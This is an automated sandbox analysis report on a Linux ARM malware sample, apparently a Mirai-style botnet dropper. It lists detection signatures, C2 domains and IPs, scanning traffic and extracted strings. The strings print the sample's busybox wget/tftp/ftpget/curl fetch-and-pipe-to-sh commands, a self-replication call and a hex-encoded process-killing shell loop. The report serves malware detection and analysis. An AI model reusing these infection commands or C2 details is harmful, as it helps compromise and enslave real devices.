Linux Analysis Report
nklarm5.elf

Overview

General Information

Sample name: nklarm5.elf
Analysis ID: 1580212
MD5: bd49183aaa2e959943c58992842fe7cc
SHA1: caf65bf7c4ab5ddebc317641a170e65be163e2d2
SHA256: bb889284f55675fcb261cec880b6a36ee36f64c6657f95b2caab2628c412d6a9
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 56
Range: 0 - 100
Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Connects to many ports of the same IP (likely port scanning)
Sends malformed DNS queries
Detected TCP or UDP traffic on non-standard ports
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: nklarm5.elf ReversingLabs: Detection: 44%
Source: nklarm5.elf Virustotal: Detection: 45% Perma Link
Found strings indicative of a multi-platform dropper
Source: nklarm5.elf String: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Networking
barindex
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 154.216.16.250 ports 38241,1,2,3,4,8
Sends malformed DNS queries
Source: global traffic DNS traffic detected: malformed DNS query: serisbot.geek. [malformed]
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.23:37548 -> 154.216.16.250:38241
Source: global traffic TCP traffic: 192.168.2.23:56174 -> 154.216.16.244:38241
Sample listens on a socket
Source: /tmp/nklarm5.elf (PID: 6267) Socket: 127.0.0.1:39148 Jump to behavior
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: unknown TCP traffic detected without corresponding DNS query: 182.128.245.83
Source: unknown TCP traffic detected without corresponding DNS query: 149.163.221.4
Source: unknown TCP traffic detected without corresponding DNS query: 4.160.9.2
Source: unknown TCP traffic detected without corresponding DNS query: 17.37.237.166
Source: unknown TCP traffic detected without corresponding DNS query: 195.156.193.208
Source: unknown TCP traffic detected without corresponding DNS query: 184.158.146.212
Source: unknown TCP traffic detected without corresponding DNS query: 108.33.100.248
Source: unknown TCP traffic detected without corresponding DNS query: 98.68.2.58
Source: unknown TCP traffic detected without corresponding DNS query: 126.7.183.125
Source: unknown TCP traffic detected without corresponding DNS query: 136.136.128.192
Source: unknown TCP traffic detected without corresponding DNS query: 11.127.202.204
Source: unknown TCP traffic detected without corresponding DNS query: 164.191.230.162
Source: unknown TCP traffic detected without corresponding DNS query: 32.161.74.43
Source: unknown TCP traffic detected without corresponding DNS query: 123.112.11.119
Source: unknown TCP traffic detected without corresponding DNS query: 85.79.125.236
Source: unknown TCP traffic detected without corresponding DNS query: 89.112.208.188
Source: unknown TCP traffic detected without corresponding DNS query: 155.125.227.169
Source: unknown TCP traffic detected without corresponding DNS query: 221.149.14.223
Source: unknown TCP traffic detected without corresponding DNS query: 173.102.206.189
Source: unknown TCP traffic detected without corresponding DNS query: 203.30.111.26
Source: unknown TCP traffic detected without corresponding DNS query: 141.132.236.186
Source: unknown TCP traffic detected without corresponding DNS query: 84.48.217.143
Source: unknown TCP traffic detected without corresponding DNS query: 168.241.40.87
Source: unknown TCP traffic detected without corresponding DNS query: 24.101.61.165
Source: unknown TCP traffic detected without corresponding DNS query: 16.207.78.115
Source: unknown TCP traffic detected without corresponding DNS query: 170.2.119.53
Source: unknown TCP traffic detected without corresponding DNS query: 205.42.25.236
Source: unknown TCP traffic detected without corresponding DNS query: 175.237.221.238
Source: unknown TCP traffic detected without corresponding DNS query: 63.70.246.133
Source: unknown TCP traffic detected without corresponding DNS query: 27.47.237.209
Source: unknown TCP traffic detected without corresponding DNS query: 104.114.42.146
Source: unknown TCP traffic detected without corresponding DNS query: 9.226.249.164
Source: unknown TCP traffic detected without corresponding DNS query: 33.127.208.29
Source: unknown TCP traffic detected without corresponding DNS query: 93.20.243.174
Source: unknown TCP traffic detected without corresponding DNS query: 115.151.16.188
Source: unknown TCP traffic detected without corresponding DNS query: 58.19.94.8
Source: unknown TCP traffic detected without corresponding DNS query: 112.143.32.229
Source: unknown TCP traffic detected without corresponding DNS query: 121.172.70.68
Source: unknown TCP traffic detected without corresponding DNS query: 36.106.74.200
Source: unknown TCP traffic detected without corresponding DNS query: 36.95.242.245
Source: unknown TCP traffic detected without corresponding DNS query: 82.195.62.128
Source: unknown TCP traffic detected without corresponding DNS query: 93.184.97.203
Source: unknown TCP traffic detected without corresponding DNS query: 150.163.215.223
Source: unknown TCP traffic detected without corresponding DNS query: 180.198.46.140
Source: unknown TCP traffic detected without corresponding DNS query: 91.109.84.213
Source: unknown TCP traffic detected without corresponding DNS query: 161.163.80.17
Source: unknown TCP traffic detected without corresponding DNS query: 155.120.233.212
Source: unknown TCP traffic detected without corresponding DNS query: 53.57.42.111
Source: unknown TCP traffic detected without corresponding DNS query: 76.208.203.21
Source: unknown TCP traffic detected without corresponding DNS query: 171.116.1.90
Source: global traffic DNS traffic detected: DNS query: serisontop.dyn
Source: global traffic DNS traffic detected: DNS query: serisbot.geek. [malformed]
Source: nklarm5.elf String found in binary or memory: http:///curl.sh
Source: nklarm5.elf String found in binary or memory: http:///wget.sh
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne >> > .d
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample String containing 'busybox' found: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Source: classification engine Classification label: mal56.troj.linELF@0/0@4/0
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/nklarm5.elf (PID: 6267) Queries kernel information via 'uname': Jump to behavior
Source: nklarm5.elf, 6267.1.0000558f1c95b000.0000558f1ca89000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/arm
Source: nklarm5.elf, 6267.1.0000558f1c95b000.0000558f1ca89000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: nklarm5.elf, 6267.1.00007fffe14e6000.00007fffe1507000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm
Source: nklarm5.elf, 6267.1.00007fffe14e6000.00007fffe1507000.rw-.sdmp Binary or memory string: Fx86_64/usr/bin/qemu-arm/tmp/nklarm5.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/nklarm5.elf
windows-stand
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
63.105.130.92
 unknown United States
701 UUNETUS false
184.100.169.192
 unknown United States
209 CENTURYLINK-US-LEGACY-QWESTUS false
138.190.166.40
 unknown Switzerland
3303 SWISSCOMSwisscomSwitzerlandLtdCH false
202.43.102.103
 unknown Malaysia
45785 TECHAVENUE-APTechAvenueMalaysiaMY false
92.255.42.24
 unknown Russian Federation
205282 RUSENRESRU false
138.252.244.196
 unknown unknown
8426 CLARANET-ASClaraNETLTDGB false
175.113.130.87
 unknown Korea Republic of
9318 SKB-ASSKBroadbandCoLtdKR false
33.89.7.55
 unknown United States
2686 ATGS-MMD-ASUS false
29.190.242.24
 unknown United States
7922 COMCAST-7922US false
94.40.246.178
 unknown Poland
20960 TKTELEKOM-ASPL false
103.0.199.92
 unknown Australia
7575 AARNET-AS-APAustralianAcademicandResearchNetworkAARNe false
58.181.254.129
 unknown Thailand
7693 COMNET-THKSCCommercialInternetCoLtdTH false
56.69.128.139
 unknown United States
2686 ATGS-MMD-ASUS false
21.74.41.87
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
92.97.13.151
 unknown United Arab Emirates
5384 EMIRATES-INTERNETEmiratesInternetAE false
205.83.42.205
 unknown United States
647 DNIC-ASBLK-00616-00665US false
25.2.234.119
 unknown United Kingdom
7922 COMCAST-7922US false
142.81.139.97
 unknown Canada
5769 VIDEOTRONCA false
197.222.170.140
 unknown Egypt
37069 MOBINILEG false
141.46.56.219
 unknown Germany
680 DFNVereinzurFoerderungeinesDeutschenForschungsnetzese false
126.247.212.205
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
149.86.134.162
 unknown United States
174 COGENT-174US false
135.220.86.43
 unknown United States
10455 LUCENT-CIOUS false
94.215.220.8
 unknown Netherlands
33915 TNF-ASNL false
140.253.131.99
 unknown Australia
6262 CSIROCommonwealthScientificandIndustrialAU false
155.80.22.250
 unknown United States
4010 DNIC-AS-04010US false
77.147.251.4
 unknown France
15557 LDCOMNETFR false
79.36.27.95
 unknown Italy
3269 ASN-IBSNAZIT false
201.159.61.24
 unknown Argentina
52255 GrupoServiciosJuninSAAR false
135.186.47.52
 unknown United States
14962 NCR-252US false
216.234.123.112
 unknown United States
12129 123NETUS false
16.23.209.32
 unknown United States
unknown unknown false
153.93.106.244
 unknown Germany
204915 AWEXUS false
223.97.78.249
 unknown China
24444 CMNET-V4SHANDONG-AS-APShandongMobileCommunicationCompany false
177.89.53.221
 unknown Brazil
28220 CABOSERVICOSDETELECOMUNICACOESLTDABR false
98.140.208.210
 unknown United States
7029 WINDSTREAMUS false
87.224.57.67
 unknown United Kingdom
16082 SPITFIREGB false
209.135.213.4
 unknown United States
393423 RAGINGWIREUS false
68.193.153.201
 unknown United States
6128 CABLE-NET-1US false
116.136.203.87
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
32.155.77.95
 unknown United States
2686 ATGS-MMD-ASUS false
181.80.154.193
 unknown Argentina
7303 TelecomArgentinaSAAR false
154.245.6.109
 unknown Algeria
36947 ALGTEL-ASDZ false
135.90.160.61
 unknown United States
10455 LUCENT-CIOUS false
195.129.27.174
 unknown European Union
702 UUNETUS false
207.215.134.112
 unknown United States
7018 ATT-INTERNET4US false
72.38.18.85
 unknown Canada
7992 COGECOWAVECA false
97.88.203.174
 unknown United States
20115 CHARTER-20115US false
80.34.118.4
 unknown Spain
3352 TELEFONICA_DE_ESPANAES false
101.17.156.138
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
55.140.218.86
 unknown United States
1541 DNIC-ASBLK-01534-01546US false
211.105.64.219
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
35.201.78.213
 unknown United States
15169 GOOGLEUS false
105.228.41.128
 unknown South Africa
37457 Telkom-InternetZA false
115.135.15.137
 unknown Malaysia
4788 TMNET-AS-APTMNetInternetServiceProviderMY false
85.255.171.70
 unknown Bulgaria
35122 SATNET-ASBG false
37.39.79.76
 unknown Kuwait
42961 GPRS-ASZAINKW false
34.225.88.190
 unknown United States
14618 AMAZON-AESUS false
54.208.91.40
 unknown United States
14618 AMAZON-AESUS false
111.39.73.174
 unknown China
9808 CMNET-GDGuangdongMobileCommunicationCoLtdCN false
52.60.165.34
 unknown United States
16509 AMAZON-02US false
159.148.63.6
 unknown Latvia
2588 LATNET-ASLV false
67.123.182.56
 unknown United States
7018 ATT-INTERNET4US false
88.199.11.240
 unknown Poland
20960 TKTELEKOM-ASPL false
18.183.83.81
 unknown United States
16509 AMAZON-02US false
145.149.36.206
 unknown Netherlands
1103 SURFNET-NLSURFnetTheNetherlandsNL false
218.248.156.61
 unknown India
9829 BSNL-NIBNationalInternetBackboneIN false
4.254.93.7
 unknown United States
3356 LEVEL3US false
134.233.80.29
 unknown United States
531 DNIC-AS-00531US false
134.11.143.81
 unknown United States
6041 DNIC-ASBLK-05800-06055US false
170.167.19.52
 unknown United States
19739 COUNTY-SANBERNARDINOUS false
6.197.213.184
 unknown United States
3356 LEVEL3US false
3.224.102.91
 unknown United States
14618 AMAZON-AESUS false
221.171.214.228
 unknown Japan 2518 BIGLOBEBIGLOBEIncJP false
202.13.107.173
 unknown Japan 2907 SINET-ASResearchOrganizationofInformationandSystemsN false
172.173.42.95
 unknown United States
7018 ATT-INTERNET4US false
96.247.169.158
 unknown United States
701 UUNETUS false
158.213.112.224
 unknown Japan 2907 SINET-ASResearchOrganizationofInformationandSystemsN false
150.51.38.197
 unknown Japan 2497 IIJInternetInitiativeJapanIncJP false
185.0.185.93
 unknown unknown
5778 CENTURYLINK-LEGACY-EMBARQ-RCMTUS false
160.51.42.44
 unknown Germany
2381 WISCNET1-ASUS false
114.103.95.182
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
96.176.104.199
 unknown United States
7922 COMCAST-7922US false
190.134.188.199
 unknown Uruguay
6057 AdministracionNacionaldeTelecomunicacionesUY false
210.170.44.92
 unknown Japan 2519 VECTANTARTERIANetworksCorporationJP false
122.57.111.15
 unknown New Zealand
4771 SPARKNZSparkNewZealandTradingLtdNZ false
73.45.72.49
 unknown United States
7922 COMCAST-7922US false
206.67.163.245
 unknown United States
4208 THE-ISERV-COMPANYUS false
177.60.96.224
 unknown Brazil
26599 TELEFONICABRASILSABR false
138.90.46.113
 unknown United States
701 UUNETUS false
71.193.162.244
 unknown United States
7922 COMCAST-7922US false
218.215.222.145
 unknown Australia
9443 VOCUS-RETAIL-AUVocusRetailAU false
33.243.135.210
 unknown United States
2686 ATGS-MMD-ASUS false
74.126.3.136
 unknown United States
12129 123NETUS false
158.12.23.209
 unknown United States
668 DNIC-AS-00668US false
19.144.129.152
 unknown United States
3 MIT-GATEWAYSUS false
98.114.145.109
 unknown United States
701 UUNETUS false
164.201.220.181
 unknown United States
3303 SWISSCOMSwisscomSwitzerlandLtdCH false
185.114.122.147
 unknown Israel
13150 CATONDE false
77.69.131.130
 unknown Bahrain
5416 InternetServiceProviderBH false

Contacted Domains

Name IP Active
serisontop.dyn 154.216.16.250 true
serisbot.geek. [malformed] unknown unknown